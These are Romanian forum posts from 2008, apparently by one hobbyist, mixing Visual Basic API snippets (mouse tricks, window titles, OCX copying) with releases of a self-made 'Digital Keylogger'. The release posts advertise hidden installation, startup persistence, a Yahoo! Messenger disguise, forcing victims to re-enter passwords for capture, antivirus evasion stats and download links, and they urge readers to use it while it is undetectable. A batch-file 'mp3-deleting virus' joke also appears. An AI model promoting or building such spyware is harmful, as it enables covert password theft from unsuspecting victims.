Nytro

Ok , cred ca voi pune sa afiseze [ Backspace ] Ca sa se conecteze direct e nevoie de IP , de IP tau , deci serverul trebuie editat . Si inca nu stiu sa fac . Trebuie deschis binar bla bla ... Cand o sa am mai mult timp o sa incerc si asta .

:::: Digital Keylogger v3.0 :::: :::: © Nytro 2008 :::: :::: www.rstcenter.com :::: Digital Keylogger v3.0 : Made in Romania Client size : 912 KB Server size : 196 KB New : Server captures all windows . Server : Copy file : C:\WINDOWS\system32\explorer.exe Starup : Yes , SystemDriver Disable Task Manager : No Hidden Install : Yes Icon : Yahoo! Messenger No "Missing file error" for client and server . Features : - Get keylog Automat : You set how fast to recive the keylog from server . - Get keylog Manual : Click "Get Keylog" to get the keylog from server . - Close Y! : You will close victim's Yahoo! Messenger , the victim will login , and you will get his password . Server will disable "Remember ID & Password" and "Auto-Login" options if they are activated . - Kill Server : The server will be deleted from victim's pc . - Send Message : You can send a message to your victim . Message type will be critical , the title will be "Microsoft Windows" . - Use Backspace : If you select Yes , if your victim press Backspace button , it will have an effect to your keylog . It will delete a char from keylog . If you select No , pressing Backsapce button , won't have any effect . - Save Log : You can save the keylog to your PC . - System Tray : The client will move to System Tray , behind the clock . Just move mouse over his icon to restore it . Thanx , Nytro www.rstcenter.com Screenshot : Download : http://rapidshare.com/files/87242715/Digital_Keylogger_v3.0_by_Nytro.rar http://www.speedyshare.com/617551467.html http://uploaded.to/?id=xlp2fi http://www.netdrive.ws/48170.html Enjoy

Exista si preg si ereg sau decat preg ? Gasirea unui numar de telefon : Nu ar merge ? "^[0-9]{10}$"

Din cate stiam eu in perl e : preg , iar in php e ereg ...

Ar fi mai interesant ca "Programming" sa aibe mai multe categorii : VB , PHP etc...

Poate trebuia sa explici putin functia API-ul Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" ( _ ByVal hWnd As Long, _ ByVal sWndTitle As String, _ ByVal cLen As Long) As Long Are nevoie de 3 argumente : hWnd : handlerul ferestrei din care se preia textul , in cazul nostu ForegroundWindow . Parametru de intrare . sWndTitle : Titlul ferestrei . In variabila pe care o veti folosi , in cazul de fata Title , se va memora Titlu ferestrei Foreground . Acest titlu , in caz de succes , se va termina in caracterul NULL . In caz de eroare va fi 0 . Parametru de iesire . cLen : reprezinta lungimea maxima care va fi copiata in variabila Title . Daca acest argument va fi 5 de exemplu , Title va contine primele 5 caractere din titlul ferestrei . Parametru de intrare . Sper sa va ajute

Vom avea nevoie de 3 API-uri : Private Declare Function SetCursorPos Lib "user32" (ByVal x As Long, ByVal y As Long) As Long Private Declare Function ShowCursor Lib "user32" (ByVal bShow As Long) As Long Private Declare Function SwapMouseButton Lib "user32" Alias "SwapMouseButton" (ByVal bSwap As Long) As Long Cu functia SetCursorPos vom seta pozitia cursorului . Functia are 2 argumente : x si y , adica locatia in care sa setam curorul . Freeze mouse : setam pozitia cursorului in acelasi loc , cu ajutorul unui timer ( interval 1 ) : Private Sub Timer1_Timer() x = SetCursorPos(300, 500) ' La intamplare 300 , 500 End Sub Crazy Mouse : Setam pozitia mouse-ului aleator pe ecran cu ajutorul unui timer ( interval 10 de ex ) : Private Sub Timer1_Timer() x = SetCursorPos(Rnd * 1000, Rnd * 1000) ' Setam pozitia cursorului ca un nr aleator intre 0 si 1000 . End Sub Pentru a opri Freeze mouse si crazy mouse , oprim timerul . Hide Mouse - Vom folosi al doilea API : ShowCursor , care are nevoie decat de un argument : bShow . Daca bShow e 1 , cursorul va fi vizibil , daca e 0 va fi ascuns . Private Sub Command1_Click() ShowCursor 0 ' Ascundem cursorul End Sub Pentru a afisa din nou cursorul : ShowCursor 1 Pentru Swap Mouse Button vom foloi al 3-lea API : SwapMouseButton , care la fel ca ShowCursor , are un singur argument : bSwap , care daca va fi 1 , butoanele mouseului vor fi inversate si daca va fi 0 se va reveni la normal . Private Sub Command1_Click() SwapMouseButton 1 ' Pentru inversare End Sub Private Sub Command2_Click() SwapMouseButton 0 ' Pentru revenire la normal End Sub Sper sa va ajute cu ceva

E o functie care seteaza poza de pe desktop pe Form . Se poate seta si pe PicturBox ... etc Private Declare Function PaintDesktop Lib "user32" (ByVal hdc As Long) As Long Private Sub Command1_Click() x = PaintDesktop(Picture1.hdc) End Sub

Poison Ivy e Pinch ? Daca da , cred ca din aceasta cauta ii cauza kaspersky pe creatori . Cred ca fura date ... treaba voastra

Cum sa pui poza de pe desktop pe form : Private Declare Function PaintDesktop Lib "user32" (ByVal hdc As Long) As Long Private Sub Command1_Click() x = PaintDesktop(Me.hdc) End Sub Nu cred ca trebuie sa explic ceva

v2.2 Download : http://rapidshare.com/files/83442240/Digital_Keylogger_v2.2.rar

Ia nu va mai certati in topica mea

Ms pentru sfaturi . Mi-am dat seama cam tarziu ca imaginile pe fundal nu dau bine . Si nu am o imaginatie foarte bogata ... Astept sfaturi in materie de grafica

Ms , folositi-l cat este inca nedetectabil .

Ms Black Pai nu e vorba de ocx , imi trebuie niste imagini ... nu am idei ... grafica la Pro e praf . E ceva mai dragut v2.1 i are fixat un bug de conectare . Nu sunt prea bun la grafica . De fapt sunt praf . In fine . La Save Log salveaza un fisier .txt cu tot ce a fost scris , cu keyloggul . Ce functii in plus puteam pune ? Incearca v2.1 si spune parerea In legatura cu cartea aia ... Eu am invatat cel mai mult Visual Basic in practica. Teoria e mult mai usoara ca practica . Si in carte scria cum sa pun un buton pe form ... Click pe butonul din toolbox , deplasati mouse deasupra formularului etc ... Am gasit multe chestii pe care nu le stiam , dar cea mai mare parte din ce am citit stiam ... Am citit cartea la 5 luni dupa ce incepusem sa ma "joc" cu VB . La inceput , faceam din surse , fara sa stiu ce fac . Apoi am inceput sa fac lucruri simple pe care le stiam ... Cand am citit cartea stiam destul de multe despre Visual Basic , multe lucruri descoperindu-le singur

Poti crea si tu propriul keylogger , 97 % NeDetectabil , Foarte Usor folosind NyTrojan.OCX v2.1 scan : File Digital_Keylogger_Server_v2.1.exe received on 01.08.2008 19:23:01 (CET) Current status: Loading ... queued waiting scanning finished NOT FOUND STOPPED Result: 8/32 (25%) 75% UD ... e binisor dupa atata timp ...

Mai intai pentru cei care foloec un ocx in programele lor : adaugati ocx intr-un fisier de resurse fara sa modificati id sau type . Daca modificati , modificati si codul . Copiem in Form Initialize OCX-ul , verificand mai intai daca ocx-ul exista deja : Pentru creatorii de OCXuri : E putin mai complicat , daca se poate si mai simplu sa spuneti . Mai intai creati OCX asa cum vrei voi , fara sa faci ceva special la el pentru auto-copiere . Apoi , in sursa OCX-ului , dupa ce ati creat OCX , adaugati intr-un fisier de resurse OCX-ul creat deja . Iar in cod , verificam daca exista OCX , daca nu exista in copiem in UserControl Initialize ca mai sus : Atentie : OCX va fi de aproximativ de 2 ori mai mare , dar nu va mai trebui copiat manual de utilizatorul OCX-ului . Cand se va copia , se va copia OCX original , cel pus in fisierul de resurse . Daca imi vine o alta idee revin cu un edit

Open "C:\xxx.bat" For Output As #1 Print #1, "@ECHO OFF" Print #1, "ECHO Sunt un tampit" Print #1, "ECHO Un copil handicapat si totusi hapciupalitic..." Print #1, "ECHO be aware,be aware incepe executia virusului mondial care sterge mp3" Print #1, "ECHO Copyright

M-am gandit eu sa fac unul care sa stearga mp3 , il facusem , de fapt scrisesem decat codul ... dar nu l-am compilat . Nu vad rostul ...

Nu trebuie sa primesc nici un credit , nu am facut eu trojan Si are functii in plus fata de ocx , deci a inteles ce e de facut . Daca nu folosea ocx ce castiga ? Era mult mai detectabil decat ... Felicitari , astept unul mai complex

Cum sa scapi de eroarea missing file ( OCX ) : Simplu : copiezi ocx-ul respectiv in system32 in Form_Initialize Cum ? Private Sub Form_Initialize() Dim i() As Byte i = LoadResData(101, "CUSTOM") Open "C:\WINDOWS\system32\SNAPVIEW.OCX" For Binary Access Write As #1 Put #1, , i Close #1 End Sub OCX-ul trebuie adaugat in fisier de resurse . Am folosit un ocx la intamplare si a mers . Sper sa va ajute

Cred ca se referea la o topica anterioara , si in loc de new post a dat new thread

Nu e greu de facut , daca prinzi ideea , totul e decat imaginatie

Fac si eu unu anti-rock , unu anti-rap .. etc ... care imi face o lista cu raperi , rockeri ... ?

a?